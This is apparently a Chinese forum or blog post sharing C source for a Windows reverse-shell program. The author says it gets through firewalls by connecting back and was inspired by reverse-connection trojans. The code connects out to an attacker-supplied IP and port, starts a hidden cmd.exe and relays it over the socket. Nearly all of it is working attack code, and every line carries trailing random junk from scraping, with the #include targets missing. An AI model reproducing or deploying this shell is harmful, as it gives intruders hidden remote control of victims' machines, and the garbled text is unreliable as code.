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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F\, vIS  
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/* ============================== X n8&&w"  
Rebound port in Windows NT t~7OtPF  
By wind,2006/7 ;L,i">_%u[  
===============================*/ |Fz ^(US  
#include Bn9#F#F<  
#include []v$QR&u#v  
g<@Q)p*ow  
#pragma comment(lib,"wsock32.lib") GE`1j'^-  
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void OutputShell(); HKr}"`I.  
SOCKET sClient; [UXN= 76N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #i .,+Q  
,-hbwd~M  
void main(int argc,char **argv) dQ:F5|p  
{ ?JG^GD7D  
WSADATA stWsaData; %&_^I*  
int nRet; XmD(&3;v-  
SOCKADDR_IN stSaiClient,stSaiServer; 81"` B2  
WW.@&#S5  
if(argc != 3) U(0FL6sPC  
{ cF 4,dnI  
printf("Useage:\n\rRebound DestIP DestPort\n"); PW|=IPS  
return; QyxUK}6mr  
} V3# ms0  
Q5ff&CE  
WSAStartup(MAKEWORD(2,2),&stWsaData); N2k<W?wQ  
#bBh. ^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  od{\z  
R)BXN~dQ  
stSaiClient.sin_family = AF_INET; H<[~V0=  
stSaiClient.sin_port = htons(0); 4uzMO<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WPkKbF  
yq49fEgc@U  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +}N'Xa/Jt  
{ y] c1x=x  
printf("Bind Socket Failed!\n"); t[J=8rhER  
return; SOq:!Qt  
} RYA@{.O  
m0 As t<u  
stSaiServer.sin_family = AF_INET; hrtz>qN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n8F~!|lQ0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G~o!u8^;  
H)i|?3Ip  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QOo'Iv+EL  
{ &n )MGg1%  
printf("Connect Error!"); 7dcR@v`c  
return; >9rZV NMU  
} B Z|A&;  
OutputShell(); BH1h2OEe#  
} /$CTz xd1  
4[@YF@_=M  
void OutputShell() dgF%&*Il]O  
{ 5\MC5us3  
char szBuff[1024]; 7n6g;8xE  
SECURITY_ATTRIBUTES stSecurityAttributes; i-Rn,}v  
OSVERSIONINFO stOsversionInfo; E{&MmrlL,  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s 91[@rh/  
STARTUPINFO stStartupInfo; !*}UP|8  
char *szShell; /3,Lp-kp  
PROCESS_INFORMATION stProcessInformation; >P SO]%mE  
unsigned long lBytesRead; q:/df]Ntt  
4lB??`UN  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /W$i8g  
=&}_bd/]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /j$=?Rp  
stSecurityAttributes.lpSecurityDescriptor = 0; D<;~eZ'  
stSecurityAttributes.bInheritHandle = TRUE; <;S$4tux  
![^pAEgx  
YND}P9 h  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )Q'E^[Ua  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); g w([08  
A,9JbX  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |MFAP!rycS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sy|GM~  
stStartupInfo.wShowWindow = SW_HIDE; 4MzQH-U>/  
stStartupInfo.hStdInput = hReadPipe; dHUbaf:e)T  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ctz#9[|  
m+hI3@j  
GetVersionEx(&stOsversionInfo); Q !;syJBb.  
O`9c!_lis  
switch(stOsversionInfo.dwPlatformId) ^obuMQ;  
{ Zk%@GOu\  
case 1: kun/KY  
szShell = "command.com"; KOS0Du  
break; Y=P*   
default: i=aR ~  
szShell = "cmd.exe"; n"Ie>  
break; v 49o$s4J  
} cRVL1ne  
$+'H000x  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D=-}&w_T"  
jW\:+Taq  
send(sClient,szMsg,77,0); Q v9q~l  
while(1) T;/GHC`{Y  
{ ?8-!hU@QC  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); A)&FcMO*z  
if(lBytesRead)  l(?B0  
{ [s>3xWZ+a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); < '5~p$  
send(sClient,szBuff,lBytesRead,0); OoSk^U)  
} by@KdQow  
else K3?5bT_{  
{ v|%41xOsr  
lBytesRead=recv(sClient,szBuff,1024,0); R |c=I }@F  
if(lBytesRead<=0) break; xol%\$|  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); I\. |\^  
} xnY?<?J"!  
} 2I-d.{  
VL9wRu;  
return; z'q~%1t  
}
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